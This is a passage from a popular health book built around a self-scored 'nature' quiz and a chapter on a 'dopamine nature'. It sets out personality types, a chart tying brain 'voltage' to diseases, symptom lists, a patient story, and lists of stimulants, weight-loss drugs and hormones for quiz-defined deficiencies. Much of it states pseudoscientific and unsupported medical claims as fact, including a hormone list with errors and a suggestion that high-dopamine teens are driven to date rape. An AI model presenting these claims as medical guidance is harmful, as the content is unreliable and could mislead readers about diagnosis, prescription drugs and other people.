A. Drugs such as antibiotics and most over-the-counter medications for ailments like the common cold have no effect on the results. If you are taking mind-altering medications such as antidepressants or tranquilizers, or certain hormones, the results might reflect a changed nature. This does not mean, however, that you should stop taking these prescribed medications, or that you should not take the Braverman Nature Assessment. The benefit of taking your assessment while on medication is that it can let you know if you are overmedicating yourself or if you are deficient in one of the four biochemicals. Are you really in balance using the medication? You might find out you have been taking the wrong medication or an incorrect dosage.
**Q. Is it possible to have more than one dominant nature?**
A. No. In some people, however, there are two natures that are both highly influential in overall health and well-being. Many people will have one score higher than the others; this score reflects your dominant nature. But some people will have identical scores for two or more natures. In that case, we determine their dominant nature in another way. The natural progression of activity in the brain wave is from the frontal lobe (dopamine) to the temporal lobe (GABA) to the parietal lobe (acetylcholine) to the occipital lobe (serotonin). The dominance patterns of the four natures, relative to each other, follow the same progression, with the exception of GABA. So if, say, your scores are identical for dopamine and acetylcholine, your dominant nature is dopamine, because dopamine comes first in the sequence. If you had identical scores for the GABA and serotonin natures, your dominant nature is serotonin.
**Q. Once I've identified my dominant nature, how can I interpret all four scores of my Braverman Nature Test together?**
A. The Braverman Nature Assessment is unique in that it can readily identify the biological reasons behind the physical problems you are experiencing now, as well as helping you balance your brain and body for the rest of your life. This information is determined by analyzing all four scores on the Nature Assessment.
Aside from your dominant nature, the next most important piece of information is held in your lowest score. This score identifies your weak side or, as I like to call it, your opposite nature. For example, if your test scores read 33 dopamine, 40 acetylcholine, 15 GABA, and 25 serotonin, you would be an acetylcholine nature with a GABA opposite nature. Remember, the natural progression of a brain wave is from the frontal lobe (dopamine) to the temporal lobe (GABA) to the parietal lobe (acetylcholine) to the occipital lobe (serotonin). The four natures follow the same progression, with the exception of GABA. If you had two identical lowest scores (e.g. 15 dopamine, 15 serotonin), the nature that appears first in the sequence would be considered your opposite nature. However, if you had identical low scores for GABA and serotonin, your opposite nature is serotonin.
While it is important to identify your dominant nature, you will not be able to reach the Ultimate Edge Effect unless you learn to balance all four natures. The first step then is to recognize and enhance your dominant nature through the nature-specific programs. Then, once you are well, you can begin to get your opposite nature into shape. Last, follow the programs for the two remaining natures. When all of your natures are balanced, you will reach the Ultimate Edge Effect and experience optimal health.
**Q. What is the relationship between my dominant nature and my deficiencies?**
A. Most people can identify a deficiency in their dominant nature before a deficiency in any other nature. This occurs when we feel less "like ourselves." However, compare your opposite nature in the Braverman Nature Assessment to your deficient nature in the second part of the test. In most cases, you will find that they are the same. This proves the brain's and body's desire to maintain balance. When this occurs your body is telling you to strive for the balance of where you were before. However, that balance should not be your entire goal. To get to the Ultimate Edge Effect, you can reach a state where you experience the full intensity, full enthusiasm, full organization, and full serenity of total balance. This can only be achieved by enhancing each corner of the edge, and working on all of your natures.
**Q. Is there a connection between building successful relationships and identifying my dominant nature?**
A. Yes! Your nature is an important facet in determining your biotemperament and personality, as well as identifying an ideal partner for your particular wants and desires. As the saying goes, opposites attract. You may find that your spouse or partner has the qualities found in your opposite nature. If this is so, you probably have a well-balanced relationship based on filling each other's weaknesses, and enhancing each other's strengths.
Conversely, the natures are paired by their correlation to the binary on/off switches of the brain. These pairs also make for dynamic relationships. For example, dopamine and acetylcholine are the binary "on" switches related to quickness and speed: intensity and enthusiasm in romance, love, and sex. An acetylcholine nature is fast, and usually expresses a high level of intensity of feeling, where romance dominates life. When dopamine is dominant, it serves cognitive efficiency. Together, they are a mark of high-voltage romantic loving. This coupling is what Hollywood romances strive for: the mark of the Western romantic mind and Western romantic thought. On the other hand, the "off" switches of GABA and serotonin often pair together. GABA natures have a calm sensibility, as well as the empathetic ability to give pain relief. When combined with serotonin where GABA is dominant, the coupling of the two maximizes the pain-free, easy-caring Eastern lifestyle. When serotonin is dominant, happiness, joy, and laughter in all its healing power are emphasized.
Stable relationships can also be found when you pair with the same nature. However, inevitably someone falls into a deficiency, and this type of relationship will suffer when the other can't adjust to the imbalance.
In all of these relationships, lifelong balance cannot be maintained by your choices of romantic pairings. Human nature drives us to try to change our partner instead of doing the work on ourselves when we recognize a problem. Therefore, the mark of a failing relationship is when people try to pull each other into their nature. Instead, you need to balance yourself by enhancing each of the four biochemical natures.
**Q. At what age can you assess your dominant nature?**
A. Many of the questions that constitute this test are not appropriate for children. I recommend first testing around the age of thirteen, when puberty most likely has begun. At that age the sexes diverge and our personality and temperament truly define our total selves. When testing younger patients, parents should be present and ensure that inappropriate questions are passed over. Skipping a small number of questions will not bias the result.
**Q. What does it mean if I have multiple deficiencies?**
A. Deficiencies in areas other than your dominant nature often show up as illness before a dominant nature deficiency reveals itself (which makes you feel like "you're not yourself"). Many health conditions present themselves as a series of multiple complex symptoms that can be traced to more than one nature. Treatment therefore must address multiple chemical imbalances. For example, memory problems associated with the acetylcholine nature are often accompanied by sleep abnormalities caused by a serotonin deficiency. If you are showing moderate or major deficiencies in multiple categories, make sure to review all of the respective sections to get a full picture of your current health.
**Q. Can my dominant nature change over time? If so, how do I know?**
A. Dominant natures do not change. They are established when you are born and become fully mature by the onset of puberty, around the age of thirteen. The health or balance of our dominant nature can change periodically, however. For example, you can have a dopamine-dominant nature and develop a dopamine deficiency. You would realize this problem if you scored high in both parts of the test within the same category (in this case, high scores in both 1A and 2A).
We are all a mixture of various natures. Generally speaking, we always have one dominant nature. However, there is no question that natures can vacillate: you might be stronger in one nature today and dominant in another when you feel more rested. Biochemical temperaments can also fluctuate due to illness. Sometimes people do not clearly know themselves, or have difficulty identifying symptoms that they are experiencing.
**Q. Can I take the Braverman Nature Assessment again? If so, how long should I wait?**
A. Although your dominant nature essentially does not change, you can alter it slightly based on how you take care of your body and mind. You can use Part 2 of the test as a way to determine your success in balancing your own brain chemistry.
Retake the Braverman Assessment whenever you feel markedly different for a week or more, make a major change to your vitamin or medication program, or experience a life-changing event such as the death of a loved one, a divorce, or a major illness. Always allow at least one month between assessments. It is not as important to define your dominant nature as it is to have the ability to balance your brain and use the strengths of all the natures to your benefit.
If your results show an even split among all natures (no one is dominant), then you are close to balancing your brain. If this is the case, then you are ready to augment your nature by boosting the biochemical you find most appealing to your temperament. For example, if you would like to be more outgoing, you can learn how to boost your dopamine; if you want to think more creatively, you can increase your acetylcholine levels.
**Q. What role does genetics play in determining my dominant nature?**
A. Genetics are key to your dominant nature. Individuals who exhibit dominance in a specific nature are predisposed to higher production and transmission of that specific neurotransmitter. You can also be predisposed to illnesses caused by the deficiencies in genes or in other natures. Our research shows that low dopamine, for example, is associated with obesity, addiction, alcoholism, antisocial behavior, and shyness.
**Q. If I boost one neurotransmitter, isn't that going to create a new imbalance?**
A. Every brain naturally functions at some level of imbalance. That is what makes each of us unique. The results from the Braverman Nature Test will therefore show some preference for one nature over another. You can also choose to augment a nature as needed: if you need to work late, you can rev up your dopamine; if you are going to an opera and need to sit still, you can rev up your acetylcholine and GABA. You are not creating an imbalance but enhancing a nature—and you are doing so on a temporary basis. This will not change the way your brain functions. You are simply increasing the output of a particular biochemical.
**TOWARD BALANCE**
You've now identified your dominant nature and discovered deficiencies you may have in the other natures. The rest of the book will show you how to optimize your dominant nature, reverse any deficiencies you might have, and keep the four neurotransmitters balanced for daily, lasting health.
Your dominant nature determines how you should be treated for any condition and how you can maintain your best health. By identifying this biochemical, you will be able to foresee possible medical conditions and take steps to prevent them. What's more, you will be able to boost your memory. Finally, you will better understand what drives your personality, and learn ways to modify its less-than-ideal aspects.
Part II of the book outlines four distinct programs for total health. Each of them represents one of the dominant natures and contains a diversified plan to address its specific needs. First, read the chapter about your dominant nature. Then read the chapter on the nature you are most deficient in. The combination of those two will be your personalized blueprint for optimal health. You can enhance this understanding by reading about the two remaining natures, especially if you have a specific ailment that is not covered in the first two natures. For example, if your energy levels are low, read the dopamine chapter. The acetylcholine chapter might solve your memory problems. If you are feeling anxious, read more about GABA. And if you need to figure out how to get a better night's sleep, check out the serotonin chapter.
PART II
RECOVERING YOUR EDGE
4
THE POWERFUL DOPAMINE NATURE
IF DOPAMINE is most prevalent in your brain chemistry, you have a dopamine nature. Associated with high-voltage beta waves from your brain, dopamine affects the power of your body and mind. High-dopamine individuals like yourself are often powerful, reflexively fast, and quick-witted. When feeling well, people with dopamine natures have a very sharp edge.
In this chapter you will learn how to recognize the many aspects of your dopamine nature, and see how this biochemical affects all areas of your physical and mental health. More important, you will be able to recognize some of the specific symptoms you might be experiencing, and learn the correct way to fix a dopamine deficiency. By addressing this deficiency, you will be taking both a step toward better health and a leap toward attaining the Edge Effect.
**THE DOPAMINE NATURE
PERSONALITY PROFILE**
As a dopamine nature, you are among approximately 17 percent of the world's population. You thrive on energy. When your dopamine production is balanced, you are likely to be a strong-willed individual who knows exactly what you want and how to get it. You're fast on your feet and self-confident. You're highly rational, more comfortable with facts and figures than with feelings and emotions. You are able to assess yourself critically, yet you generally do not respond well to criticism or accept negative feedback from others.
You focus intently and persistently on the task at hand and take pride in achievement. Strategic thinking, masterminding, inventing, problem solving, envisioning, and pragmatism are exciting, and you function well under stress. These skills lend themselves to positions requiring complex knowledge and/or detailed planning. A majority of doctors, scientists, researchers, inventors, engineers, generals, and architects are likely to be dopamine-dominant. But this does not preclude other professions from dopamine natures: dopamine-dominant people can be found in every walk of life.
With a dopamine nature, you're most likely to be interested in activities related to knowledge and intellect. You might play chess, listen to books on tape, or do challenging crossword puzzles. You relish competition. You're tireless, perhaps hyperalert, and might require less sleep than your friends or family.
When it comes to physical activity, you find great satisfaction in anaerobic, weight-bearing exercises. You may also enjoy competitive individualized sports such as tennis, swimming, or skiing. If you follow professional sports, you might be as intrigued by the statistics of the sport as by the actual game being played.
Because rationality is your primary trait, you are more adept at establishing relationships than nurturing them. You're not overly sensitive, so you tend to miss the fact that others may believe their feelings are more powerful than reason. A successful marriage for a dopamine nature depends upon the loyalty and goodwill of the spouse. Relations with children could be distant and depend heavily on your ability to control the rest of the family.
The dopamine Edge Effect occurs when you've maximized your dopamine nature. These are the times when you experience total sensual enjoyment, you derive pleasure from everything you do, and your reactions are sharp. All of your senses are heightened: you relish sexual relations, your food tastes fantastic, and you feel powerful and admired among your friends and family.
**TOO MUCH DOPAMINE**
It is possible to have too much of a good thing. Dopamine natures who produce excessive amounts of this biochemical are at risk when their edge becomes too sharp. Producing too much dopamine makes you overly intense, driven, and impulsive. For example, while average dopamine types are intrigued by mental and physical stimulation, if they are overproducing this neurotransmitter, they may resort to violence as a way of creating controlled scenarios of excitement and power. Dopamine teens first learning to balance their edge might be driven to date rape, reckless driving, or shoplifting. At the extreme, criminals, especially repeat sexual offenders, are often high-dopamine natures with overactive libidos.
**OUT OF BALANCE:
DOPAMINE DEFICIENCY**
If you scored high for dopamine in the second test in Chapter 3, the deficiency test, this means that your brain is either burning too much dopamine or not producing enough. Dopamine production determines your brain's power, which is measured as voltage. Voltage is the intensity with which the brain responds to a stimulus and the effectiveness of the brain's ability to process the information that monitors your physical and mental health. Without proper voltage you literally slow down and develop a dull edge.
As the power that drives your body's electrical output decreases, various symptoms and conditions can arise. The chart on the next page lists the various conditions that can occur as your body's electrical power—measured here in microvolts—begins to fail.
It is reasonable to assume that a dopamine deficiency will most likely occur in individuals who possess greater amounts of one of the other three biochemicals. By definition, any other nature has some relative dopamine lifestyle deficit. This does not mean that every dopamine deficiency must be corrected: each of us maintains our own healthy balance by the combination of all of the biochemicals. A minor deficiency may go unnoticed, or it can easily be addressed by following the lifestyle and diet suggestions in this chapter. A moderate or major deficiency requires immediate medical attention.
VOLTAGE IN GENERAL MEDICAL CONDITIONS
10–20 Normal to superior energy and concentration
9 Blues, mild hypertension, fatigue, mild memory loss or cognitive deficit
8 Insomnia, moderate hypertension, nicotine addiction, PMS, panic disorder, bipolar disorder
7 Obesity, moderate obsessive-compulsive disorder, mild depression, dysthymic disorder
6 Moderate addiction, major depression, various personality disorders, ischemia, severe vascular disorders
5 Toxic metal exposure, menopause, borderline personality disorder, chronic fatigue
4 Multiple sclerosis, problems related to dialysis, chronic depression, violence, tumors, diabetes, bypass surgery
3 Parkinson's disease, cirrhosis of the liver, multiple endocrine disorders
2 ADD, supranuclear palsy, Alzheimer's disease, disorders stemming from abnormal brain structure
1 Schizophrenia, cocaine abuse, HIV, hypoxia and other forms of oxygen deprivation, severe lead poisoning
0 Coma, severe metabolic encephalopathy, global brain disease
Dopamine natures can also develop a dopamine deficiency. These individuals are most likely to notice the smallest changes in their edge because they are most aware of how they feel when their dopamine is balanced. Dopamine natures will quickly notice when they feel less energetic and less powerful and when their thinking is not as sharp as they expect.
**DOPAMINE-RELATED
SYMPTOMS AND CONDITIONS**
With a dopamine deficiency, the early warning signs of deteriorating health are related to loss of energy: physically you experience fatigue, and mentally you're sluggish. These effects can show up in your body in a variety of ways and can affect any of the four major domains of brain function.
PHYSICAL ISSUES
Anemia
Balance problems
Blood sugar instability
Bone density loss
Carbohydrate binges
Constipation
Decreased desire for food
Decreased physical strength and activity
Diabetes
Diarrhea
Difficulty achieving orgasm
Digestion problems
Excessive sleep
Food cravings
Head and facial tremor
High blood pressure
Hyperglycemia
Inability to gain or lose weight
Joint pain
Kidney problems
Light-headedness
Low sex drive
Movement disorders
Narcolepsy
Nicotine cravings
Obesity
Parkinson's disease
Slow or poor metabolism
Slow or rigid movements
Substance abuse
Sugar or junk food cravings
Tension
Tremors
Thyroid disorders
Trouble swallowing
PERSONALITY ISSUES
Aggression
Anger
Carelessness
Depression
Fear of being observed
Guilt or feelings of worthlessness/ hopelessness
Hedonistic behavior
Inability to handle stress
Isolating oneself from others
Mood swings
Procrastination
Self-destructive thoughts
MEMORY ISSUES
Distractibility
Failure to listen and follow instructions
Forgetfulness
Lack of working memory
Poor abstract thinking
Slow processing speed
ATTENTION ISSUES
Attention deficit disorder
Decreased alertness
Failure to finish tasks
Hyperactivity
Impulsive behavior
Poor concentration
If you compare the above list with those that appear in the chapters on the other natures, you will find that some symptoms and conditions appear in more than one chapter. This repetition is caused by the binary nature of the neurotransmitters. While there are four primary neurotransmitters, they often work in similar ways. For example, both dopamine and acetylcholine act as the electrical on switch for the brain: they create energy the body uses for power and speed. On the other hand, GABA and serotonin are the electrical off switches: they create electricity necessary for calming the body and producing sleep. Because their functions are similar, similar symptoms may occur when either is deficient.
Also, the brain-mind-body connection has only a limited number of possible malfunctions. These malfunctions affect the rest of our system in similar ways. However, how a deficiency affects specific organs or systems varies by nature. For example, deficiencies in the dominant biochemical will produce issues concerning metabolism and food cravings in both dopamine and acetylcholine natures, yet a dopamine nature will crave carbohydrates and an acetylcholine nature will crave richer, fattier foods.
**TYPICAL DOPAMINE DOMINOES**
Obviously, no one person will have all of the listed symptoms of dopamine deficiency at once. Yet all of these symptoms are treated every day by thousands of doctors, most of whom overlook or may be unaware of the fact that they are caused by a dopamine deficiency. The value of the Edge Effect is in associating the earliest symptoms with a dopamine deficiency and showing you the easiest, least damaging, and most effective interventions.
Left unchecked, an unbalanced dopamine nature, or a dopamine deficiency for a different nature, can be the first sign of downward-spiraling health. Physical signs of dopamine deficiency might look like this: at first, your concentration may wander, your thinking and decision making may not be as quick as they once were, or your intensity at work might not be the same. You may find that it's taking more time and effort to get things done. You might sleep a little longer but still wake up tired. You grab coffee or caffeinated beverages more often than usual just to get you going. These supply the energy fix you need to feel like yourself, but the effect is temporary. So you reach for them continuously throughout the day, because otherwise you can't sustain your usual high level of performance.
You might be finding reasons to put off tasks instead of finishing them. You're distracted instead of focused, and you are not as tenacious or competitive as you used to be. You might gain weight or avoid social contact. You become more distant from significant others. In the evening, you may pour yourself a couple of drinks to settle down from the day's roller-coaster ride, not realizing that you are self-medicating to compensate for your dopamine deficiency, as well as the increased amount of coffee or other stimulants you might be taking. For the first time in your life, your sexual performance is compromised: you avoid sexual contact because you are just not interested. Every night you go to sleep thinking that by tomorrow you'll be back to normal. But tomorrow isn't any better. And neither is the next day. They bring more of the same: fatigue, loss of focus, agitation, diminished confidence concerning decisions and control of the future.
After a couple of years of struggling with these seemingly innocuous problems, you may be faced with symptoms and conditions that demand the attention of a medical professional. The weight gain was so gradual that you didn't realize how much you put on; now you're carrying around thirty extra pounds that you just can't seem to lose. Your blood pressure and cholesterol are elevated. The prescription drugs your doctor recommended, which at first you considered unnecessary, have become second nature to you. You no longer enjoy eating, thanks to irritable bowel syndrome or gastroesophageal reflux disorder. You deal with your health problems for a couple more years, until you come face-to-face with type II diabetes or kidney failure.
Although you might think this scenario is far-fetched, it represents what can happen when dopamine deficiency is left unchecked. If you can't recognize yourself in the above scenario, see if you can relate to the experiences of one of my patients, Joe.
When I first met Joe I wasn't sure he'd make it to a subsequent office visit: he was a prime candidate for a stroke. By the time this fifty-two-year-old came to see me, he was twenty-seven pounds overweight, and his blood pressure was slightly elevated even though he was on hypertension medication. He suffered from irritable and irregular bowels and gastroesophageal reflux disorder, both of which frequently accompany hypertension. His cholesterol was 30 percent above normal. Joe was not sleeping well, and he felt tired all the time. His sex drive had decreased, which at least relieved his anxiety about his disappointing sexual performance.
Although Joe forced himself to work the same sixty-hour schedule he always did, he was not getting much done at the construction company he had started twenty years before. He wasn't able to stay focused at work and found himself just going through the motions. Joe was drinking numerous cups of coffee throughout the day simply to keep going. Normally cool under fire, Joe was losing his temper quite frequently, often for the most minor of reasons.
Joe no longer experienced satisfaction from anything. His meals were a chore because of an ongoing battle with his weight and digestive problems. And even though relationships had never been his strong suit, Joe's were becoming more strained every day. His second marriage was in trouble, and he found himself looking for reasons not to come home. When he found the time to see his two teenagers from his first marriage, their get-togethers always seemed to end in a screaming match.
Because Joe was a take-charge guy, he did try to relieve his symptoms. He had followed a number of diets and supplement programs to lose weight, but he was never able to keep the pounds from coming back. He took over-the-counter sleep aids but still woke up tired. Antacids were his constant companions. When his symptoms persisted beyond the help of these over-the-counter remedies, Joe visited his doctor.
The standard examination at the doctor's office revealed Joe's elevated blood pressure and cholesterol levels. A cardiac stress test came back normal—none of Joe's arteries were blocked. Prescriptions for hypertension, cholesterol, and gastroesophageal reflux disorder were written. Sleeping pills were also prescribed, to be taken as needed. Joe could use sildenafil (Viagra) whenever he wanted. He was put on a high-protein/low-carbohydrate diet and told to eat less.
After a month the gastroesophageal symptoms subsided, and Joe slept well on the nights he remembered to take his sleeping pill. But the fatigue persisted and may have actually worsened as a result of the blood pressure medications, which are known to slow down other internal systems. Joe tried to stick to the new diet, but it didn't appear that he'd lost any weight. He started to worry that he wasn't ever going to get better. When he called to voice his concerns, his doctor mentioned he might need an anti-anxiety medication. But adding yet another drug to his growing pharmacy just didn't seem right to Joe. That's when he visited me at one of my PATH Medical Centers.
**THE STANDARD NONSTANDARD WORKUP**
The PATH examination confirmed my first impression from our phone conference. After we identified Joe's dopamine-dominant nature, further examination revealed the underlying cause of Joe's complaints: his dopamine levels were dropping. His health restoration would have to start with balancing his nature.
Joe's patient history revealed a family background of hypertension, heart disease, and stroke, so genetic predisposition played a big part in Joe's health problems. But predisposition does not have to mean predetermination. Joe had always been attracted to the rush he'd experienced from using cocaine and Ecstasy when he was younger; unfortunately, these drugs had conditioned his brain to require other dopamine supplements, even years after he stopped using them. His ability to pay attention was inconsistent, his working memory score was low, and he could not quickly solve abstract problems. In short, his mind and his bodily functions were not sharp at all.
With conventional treatment approaches Joe's condition would have followed a predictable course: his blood pressure would push inexorably higher and become more difficult to manage, his cholesterol would continue to rise, his weight would slowly but surely increase. Sexual dysfunction would persist, even with pharmaceutical help: the frequency of his erections would decline from two or three per week to one every two or three weeks. All of these conditions would require higher doses of his current medications along with new medications, which would likely lead to complications, more symptoms, and more medications. With medications, caffeine, alcohol, and nicotine wreaking havoc with his internal chemistry, anxiety would become full-blown. Given Joe's weight gain, type II diabetes would be quite likely, with its attendant circulatory complications. Multiple coronary bypasses and/or angioplasties would only be a question of when—not if.
Fortunately for Joe, by learning about his nature and using all of the tools at his disposal to restore and maintain its balance, he turned his health around.
**BALANCING YOUR DOPAMINE NATURE**
Any dopamine deficiency can be corrected by using some combination of the seven treatment modalities: medications, hormones, supplements, diet, lifestyle, environment, and electrical treatments. The severity of your symptoms, however, will determine which type of treatment will work best for you. You can gauge the level of your deficiency by consulting the results of your deficiency test. A minor deficiency will range from 0 to 5; a moderate deficiency will range from 6 to 15; and a severe deficiency is considered anything over 15.
The following overview lists remedies for the most severe symptoms and conditions first, and progressively works down to treating minor deficiencies.
**DOPAMINE-FRIENDLY MEDICATIONS**
If you are experiencing severe dopamine-related symptoms, you can turn to certain pharmaceuticals that have been specifically designed to reverse a frontal lobe dopamine deficiency. These medications impact the body's adrenaline or energy system. Talk to your doctor regarding drug choices and specific doses that are right for you. Dosage will vary significantly based on your height, weight, and gender. Each of the following has properties that address a specific energy-deficient condition.
_Allergies:_ pseudoephedrine (Sudafed), loratadine (Claritin)
_Attention deficit disorder:_ methylphenidate (Ritalin), clonidine (Catapres), amphetamine (Adderall), atomoxetine (Strattera)
_Cocaine abuse:_ bromocriptine (Parlodel), desipramine (Norpramin), clonidine (Catapres)
_Depression:_ amphetamine (Adderall), venlafaxine (Effexor), bupropion (Wellbutrin), desipramine (Norpramin), nortriptyline (Pamelor), protriptyline (Vivactil), trimipramine (Surmontil)
_Fatigue:_ venlafaxine (Effexor), desipramine (Norpramin), modafinil (Provigil)
_Hypertension:_ guanfacine (Tenex), clonidine (Catapres)
_Male sexual dysfunction:_ sildenafil (Viagra), vardenafil (Levitra), tadalafil (Cialis)
_Narcolepsy:_ modafinil (Provigil), dextroamphetamine (Dexedrine)
_Parkinson's disease:_ tolcapone (Tasmar), selegiline (Eldepryl), carbidopa-levodopa (Sinemet)
_Tobacco abuse:_ bupropion (Wellbutrin), venlafaxine (Effexor)
_Treatment-resistant depression:_ amphetamine (Adderall), dextroam phetamine (Dexedrine), methylphenidate (Ritalin, Concerta)
_Weight loss:_ phentermine (Ionamin), diethylpropion (Tenuate), phendimetrazine (Prelu), sibutramine (Meridia)
Once you have balanced your dopamine by following the suggestions in the rest of this chapter, you should not need these serious medications. But until your dopamine is balanced, you may require some combination of these prescription drugs. Some of these drugs directly affect dopamine production, while others merely treat symptoms so that you can get a jump start toward better health.
The art of medicine is in correctly diagnosing a condition and prescribing the pharmaceutical that is most appropriate for it. As your condition improves, you can slowly discontinue these medications, and possibly replace them with natural supplements. However, all issues related to prescription medications must be resolved in consultation with a medical doctor.
**HORMONES**
Each of the four primary neurotransmitters has a characteristic hormone associated with it. When a particular biochemical becomes deficient, this hormone comes in to take its place. For example, the body naturally increases production of cortisol when there is a dopamine imbalance. Made in the adrenal glands, cortisol regulates blood pressure and cardiovascular function as well as the body's use of proteins, carbohydrates, and fats. Cortisol is the backup adrenaline hormone, so that when you are under stress, your cortisol levels increase. Your pulse quickens, you become red-faced, and your blood pressure goes up.
It is also true that as we age, we lose the ability to produce hormones in the amounts and rates required for optimal health. When these drop-offs occur we must supplement our own hormone levels. While the hormones listed below are necessary to enhance any nature, a dopamine nature will notice more readily when they require supplementation. Human growth hormone (HGH) is available in injectable form and is very expensive. A less expensive alternative is to augment existing HGH with amino acid products such as creatine and arginine. All of the following natural hormones help increase voltage and provide energy to the brain. They also have other specific functions. As with prescription medications, all issues related to hormone replacement must be addressed in conjunction with a medical doctor.
_Bone building:_ calcitonin (Miacalcin)
_Increases sex drive:_ testosterone
_Fights fatigue:_ DHEA (dehydroepiandrosterone)
_Builds heart blood vessels, and memory:_ vasopressin
_Prevents loss of bone mass:_ human growth hormone (HGH), testosterone
_Increases concentration:_ thyroid combination treatment, which includes thyroxine (T4) and triiodothyronine (T3), also known as pathroid
_Increases muscle tone:_ human growth hormone (HGH), somatostatin
_Elevates mood:_ thyroxine
_Treats sugar deficiencies:_ insulin, growth hormone (insulin growth factors)
_Treats sugar deficiencies under stress:_ glucagon, cortisol
_Maintains skin, hair, teeth, circulation:_ estrogen
_Reduces kidney function:_ erythropoietin
_Addresses gastrointestinal absorption issues:_ cholecystokinin
_Replenishes hormones when under stress:_ cortisol
_Blood vessel and inflammatory disorders:_ prostaglandin
**DIET**
For many conditions—especially those present in the early stages of deficiency—you may not need a doctor's help to restore your dopamine imbalance. You can take matters into your own hands by following the nature-balancing suggestions for your diet and supplement regimen.
Making healthy dietary choices is the foundation for a stable nature—one that will support you for your entire lifetime. The easiest and most natural way for you to keep your dopamine nature balanced involves the choices you make when you eat.
**SOLVING CHRONIC OBESITY**
Rapid and significant weight gain is one of the hallmarks of a dopamine deficiency. Obesity, a burgeoning condition that is defined as 20 percent above ideal body weight, is one of the great health problems Americans are facing today. Ideal weight is determined as 5 pounds for every inch over five feet for women, and 6 pounds for every inch over five feet for men, starting at 106 pounds. While most doctors recognize that obesity is a metabolic disorder, they might miss the point that metabolism is governed by dopamine. Under the right program, dopamine-deficient patients can lose their excess weight and keep it off for good.
I have seen hundreds of patients for issues of significant weight gain. I'm happy to say that many of my patients have been successful in their battle. Most have followed a dopamine-balancing regimen, which includes a program that combines supplements, natural hormones, and conventional medicine. Many have lost more than 150 pounds.
Using the Edge Effect to increase your dopamine is a good strategy when you are trying to lose weight. You might notice that highly stimulated people are usually thin or have the ability to lose weight quickly. This is because they have high-dopamine natures. The more dopamine you produce, the faster your metabolism works, which makes it possible for you to burn calories more efficiently.
If you have a dopamine deficiency and follow the suggestions below, you might experience weight loss as you learn to eat healthier foods. You can select dopamine-producing foods that will increase your metabolism and boost your dopamine Edge Effect. When you do so, the occasional pizza, pasta, or other treats with which you sometimes indulge yourself will have no harmful effect at all. When your dopamine is balanced, you will not crave sugars and carbohydrates. Your increased energy will also make you want to get out and exercise more, which will help you lose weight faster.
**NUTRIENTS THAT RAISE YOUR DOPAMINE LEVELS**
Nature-specific diets are not weight loss diets. They are not about portion control, counting calories, or focusing on a particular nutrient group such as proteins, fats, or carbohydrates. Instead, the following are lists of dietary choices you can make to boost your levels of dopamine and eventually help your brain create more dopamine on its own.
The goal of a dopamine diet is to ensure that the body has enough raw materials for a steady supply of tyrosine and phenylalanine, two amino acids that are precursors to dopamine. These amino acids are found in many protein-rich foods.
Be sure to round out a high-protein meal with lots of additional fruits and vegetables, even if they don't appear on the lists in this chapter. You may also drink any nonalcoholic, sugar-free beverage you prefer, ideally noncarbonated so it won't produce gas. Caffeinated beverages happen to be good for dopamine-deficient people. If, however, you are serotonin deficient, caffeine could give you insomnia. GABA-deficient types might react with nervousness and palpitations; for the acetylcholine deficient, caffeine can contribute to jumpiness and the inability to think clearly.
**Phenylalanine: Fatigue and Pain Reliever**
Phenylalanine is an essential amino acid found in the brain and blood plasma that can convert in the body to tyrosine, which in turn is used to synthesize dopamine. Sources of phenylalanine are high-protein foods such as meat, cottage cheese, and wheat germ. Phenylalanine can also be found in the sugar substitute aspartame, which is sold under the brand names NutraSweet and Equal. These artificial sweeteners have no calories, do not affect blood sugar, and are generally safe. However, they should be avoided entirely by those who have phenylketonuria. Pregnant or lactating women should always seek the advice of their doctor regarding the use of artificial sweeteners.
Increasing your phenylalanine levels can be effective for treating mild depression, and particularly in countering fatigue. In my office, I have found that about 10 to 50 percent of depressed patients have low plasma phenylalanine, and eating phenylalanine-rich foods is an effective treatment. Your body can elevate levels of phenylalanine in times of infection or fatigue. Phenylalanine levels are lowered by increased caffeine ingestion.
An average adult ingests 4 grams of phenylalanine per day, and may optimally need up to 6 grams daily through supplementation. Use the food list on the following page as needed.
**Tyrosine: Dopamine Builder**
When phenylalanine is converted to tyrosine, this amino acid increases resistance to stress and acts as one of the body's natural pain relievers. As mentioned above, tyrosine is used to synthesize dopamine. It also builds norepinephrine, which is chemically related to adrenaline; tyrosine can give dopamine-deficient people the increased energy they are lacking. Foods that contain high amounts of tyrosine include chicken, duck, cottage cheese, and wheat germ.
THE DOPAMINE DIET: PHENYLALANINE IN FOODS
FOOD | AMOUNT | CONTENT (G)
---|---|---
Chicken | 6–8 oz | 1.60
Chocolate (dark) | 2–4 oz. | 0.40
Cottage cheese | 1 cup | 1.70
Duck | 6–8 oz. | 1.60
Egg | 1 | 0.35
Granola | 1 cup | 0.65
Low-fat, low-salt cheeses | 1 oz. | 0.35
Luncheon meat | 6–8 oz | 1.10
Oat flakes or rolled oats | 1 cup | 0.50
Pork | 6–8 oz. | 1.30
Ricotta | 1 cup | 1.35
Sausage meat | 6–8 oz. | 0.50
Soybeans | 6–8 oz. | 1.20
Turkey | 6–8 oz. | 1.60
Walnuts | 6–8 oz. | 1.40
Wheat germ | 1 cup | 1.35
Whole milk | 1 cup | 0.40
Wild game | 6–8 oz | 2.60
Yogurt (plain, nonfat) | 1 cup | 0.40
Physicians at Harvard Medical School have pioneered the use of a daily dose of up to 6 grams of tyrosine to decrease symptoms of medication-resistant depression with good results. Tyrosine creates so much raw energy that in extremely large doses (i.e., greater than 20 grams daily), it can reduce your appetite. However, low doses have a less consistent effect. The minimum daily tyrosine requirement is about 1,000 mg. for an average adult. Use the food list at right to increase your total tyrosine consumption in order to balance your dopamine deficiency.
**DOPAMINE-BOOSTING DIET**
If your dopamine nature has been diminishing, or if you are trying to enhance this biochemical to complement another nature, try the diet on Deficiency Cravings. These menus span three days and can give you an idea of foods you can eat that will increase your dopamine. How often you repeat this diet depends on your deficiency level. If you have a minor deficiency, then you should follow a three-day course once a month. If you have a moderate deficiency, you should follow this three-day course once a week. An extreme deficiency requires at least six days a week of this specific diet.
THE DOPAMINE DIET: TYROSINE IN FOODS
FOOD | AMOUNT | CONTENT (G)
---|---|---
Chicken | 6–8 oz. | 0.40
Chocolate | 1 cup | 0.40
Cottage cheese | 1 cup | 1.70
Duck | 6–8 oz. | 0.60
Egg | 1 | 0.25
Granola | 1 cup | 0.40
Oat flakes or rolled oats | 1 cup | 0.35
Pork | 6–8 oz. | 1.20
Ricotta | 1 cup | 1.50
Turkey | 6–8 oz. | 0.70
Wheat germ | 1 cup | 1.00
Whole milk | 1 cup | 0.40
Wild game | 6–8 oz. | 1.50
Yogurt | 1 cup | 0.40
